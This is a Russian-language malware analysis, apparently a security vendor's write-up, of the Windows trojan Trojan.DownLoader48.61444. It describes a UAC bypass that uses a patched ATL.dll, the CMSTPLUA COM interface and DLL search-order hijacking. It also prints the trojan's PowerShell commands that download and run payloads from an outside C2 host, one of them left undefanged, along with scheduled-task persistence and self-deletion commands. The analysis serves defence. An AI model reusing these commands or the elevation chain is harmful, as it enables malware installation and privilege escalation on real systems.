SHA1-хеш:
- 752cbf3b0a18831b1ee02c8850517c695ddda98e
Описание
Вредоносная программа, написанная на языке программирования C++ и работающая в среде операционных систем семейства Microsoft Windows. Она скачивает и запускает на целевых компьютерах трояна-загрузчика Trojan.DownLoader48.54318.
Принцип действия
При запуске Trojan.DownLoader48.61444 проверяет наличие прав администратора через функции AllocateAndInitializeSid и CheckTokenMembership.
Проверка наличия прав администратора
Если права администратора отсутствуют, троян пытается их получить, после чего приступает к выполнению основной задачи — загрузке в систему Trojan.DownLoader48.54318. Ключевые строки в методе для повышения привилегий зашифрованы нестандартным алгоритмом AES и расшифровываются в режиме реального времени.
Действия, выполняемые без прав администратора
Вначале Trojan.DownLoader48.61444 расшифровывает байт-код, который в дальнейшем используется для добавления патча в копию системной библиотеки %SystemRoot%\System32\ATL.dll.
Троян обходит систему защиты, маскируясь под легитимный процесс (используется техника Masquerade PEB). Для этого в поле ImagePathName внутри структуры данных PEB он подменяет имя своего текущего процесса значением %SystemRoot%\explorer.exe.
Далее он считывает содержимое библиотеки %SystemRoot%\System32\ATL.dll, динамически находит в ней функцию DllEntryPoint и заменяет содержимое точки входа на байты, которые были расшифрованы ранее.
Изменение содержимого точки входа в системной библиотеке ATL.dll
Вместе с байт-кодом в библиотеку передается текущий путь до трояна, который в дальнейшем должен запуститься через функцию CreateProcessW с повышенными правами.
Текущий путь до Trojan.DownLoader48.61444, который передается модифицируемой библиотеке вместе с байт-кодом
Измененная библиотека ATL.dll сохраняется в виде файла с именем dropper в директории, в которой расположен Trojan.DownLoader48.61444.
Далее через функцию SHCreateItemFromParsingName Trojan.DownLoader48.61444 последовательно инициализирует объекты COM-модели оболочки Windows для %SystemRoot%\System32\wbem и созданной библиотеки dropper.
Если инициализация проходит успешно, Trojan.DownLoader48.61444 пытается получить права администратора через использование COM-интерфейса CMSTPLUA. Суть в том, что некоторые старые COM-интерфейсы спроектированы так, чтобы автоматически запускаться с повышенными правами (от имени администратора), не показывая пользователю запрос UAC (User Account Control или Контроль учётных записей пользователей). Троян вызывает функцию CoGetObject с параметром Elevation:Administator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}. В случае успеха измененная библиотека dropper копируется в каталог %SystemRoot%\System32\wbem как файл с именем ATL.dll.
Далее через функцию ShellExecuteW Trojan.DownLoader48.61444 запускает системную оснастку управления WMI WmiMgmt.msc. В результате происходит эксплуатация уязвимости DLL Search Order Hijacking в системном приложении mmc.exe, которое загружает библиотеку %SystemRoot%\System32\wbem\ATL.dll. Вслед за этим исходный файл трояна Trojan.DownLoader48.61444 запускается повторно — уже с правами администратора.
В конце процедуры получения прав удаляется модифицированный файл %SystemRoot%\System32\wbem\ATL.dll.
Действия, выполняемые с правами администратора
При запуске с правами администратора Trojan.DownLoader48.61444 исполняет несколько PowerShell-скриптов, которые отвечают за скачивание полезной нагрузки с C2-сервера, а также за ее последующий запуск.
Пример PowerShell-скрипта для скачивания полезной нагрузки в архиве one.zip по адресу hxxps[:]//down[.]temp-xy[.]com/zip/one[.]zip:
powershell -NoProfile -WindowStyle Hidden -Command "New-Item -ItemType Directory -Path '%LOCALAPPDATA%\Microsoft\OneDrive\ListSync\Common\settings' -Force;Invoke-WebRequest -Uri 'hxxps[:]//down[.]temp-xy[.]com/zip/one[.]zip' -OutFile '%TEMP%\one.zip' -UseBasicParsing;Expand-Archive -Path '%TEMP%\one.zip' -DestinationPath '%LOCALAPPDATA%\Microsoft\OneDrive\ListSync\Common\settings' -Force;Remove-Item -Path '%TEMP%\one.zip' -Force
Архив one.zip содержит следующие файлы:
- OneDrivePatcher.exe — легитимное приложение из ОС Windows с действительной цифровой подписью;
- CertificateIn.dat — сертификат Microsoft Corporation;
- UpdateRingSettings.dll — Trojan.DownLoader48.54318 (имя файла повторяет имя легитимной библиотеки из состава ПО OneDrive).
Содержимое архива распаковывается в %LOCALAPPDATA%\Microsoft\OneDrive\ListSync\Common\settings, а сам архив удаляется.
Для распакованного файла OneDrivePatcher.exe в планировщике задач Windows создается задача на запуск:
schtasks /Create /TN "Microsoft\Windows\Live\Roaming\MicrosoftOfficeServiceUpdate" /TR "%LOCALAPPDATA%\Microsoft\OneDrive\ListSync\Common\settings\OneDrivePatcher.exe" /SC ONSTART /DELAY 0005:00 /RL HIGHEST /F
Кроме того, файл запускается через PowerShell-скрипт:
powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 6;"$path=\"%LOCALAPPDATA%\Microsoft\OneDrive\ListSync\Common\settings\";$exe=\"$path\OneDrivePatcher.exe\";while (-not (Test-Path $exe)) { Start-Sleep -Seconds 1 };Set-ScheduledTask -TaskName 'Microsoft\Windows\Live\Roaming\MicrosoftOfficeServiceUpdate' -Action (New-ScheduledTaskAction -Execute $exe -WorkingDirectory $path)
При запуске OneDrivePatcher.exe в нем происходит эксплуатация уязвимости DLL Search Order Hijacking и загрузка троянской библиотеки UpdateRingSettings.dll.
Пример PowerShell-скрипта для скачивания полезной нагрузки в архиве two.zip по адресу hxxps[:]//down[.]temp-xy[.]com/zip/two[.]zip:
powershell -NoProfile -WindowStyle Hidden -Command "New-Item -ItemType Directory -Path '%LOCALAPPDATA%\Microsoft\PlayReady' -Force;Invoke-WebRequest -Uri 'https://down.temp-xy.com/zip/two.zip' -OutFile '%TEMP%\two.zip' -UseBasicParsing;Expand-Archive -Path '%TEMP%\two.zip' -DestinationPath '%LOCALAPPDATA%\Microsoft\PlayReady' -Force;Remove-Item -Path '%TEMP%\two.zip' -Force
Архив two.zip содержит следующие файлы:
- Guardian.exe — переименованный консольный интерпретатор языка Python pythonw.exe;
- update.py — вредоносный скрипт Python.Downloader.208.
Содержимое архива распаковывается в %LOCALAPPDATA%\Microsoft\PlayReady, а сам он удаляется.
Для распакованного файла Guardian.exe в планировщике задач Windows создается задача на запуск:
schtasks /Create /TN "Microsoft\Windows\DirectX\DirectXServiceUpdater" /TR "%LOCALAPPDATA%\Microsoft\PlayReady\Guardian.exe" /SC ONSTART /DELAY 0020:00 /RL HIGHEST /F
Кроме того, через PowerShell-скрипт запускается скрипт update.py:
powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 6;"$path=\"%LOCALAPPDATA%\Microsoft\PlayReady\";$exe=\"$path\Guardian.exe\";while (-not (Test-Path $exe)) { Start-Sleep -Seconds 1 };Set-ScheduledTask -TaskName 'Microsoft\Windows\DirectX\DirectXServiceUpdater' -Action (New-ScheduledTaskAction -Execute $exe -Argument 'update.py' -WorkingDirectory $path)
По завершении всех действий в командном интерпретаторе cmd.exe выполняется команда с ping для создания задержки и последующим удалением исходного файла Trojan.DownLoader48.61444:
cmd /C ping 127.0.0.1 -n 4 >nul && del /f /q "C:\file\9e7173cead96812ec53c75b90918c6ebfc201f4690f8503996d7fa9b28f28793
Подробнее о Trojan.DownLoader48.54318
Подробнее о Python.Downloader.208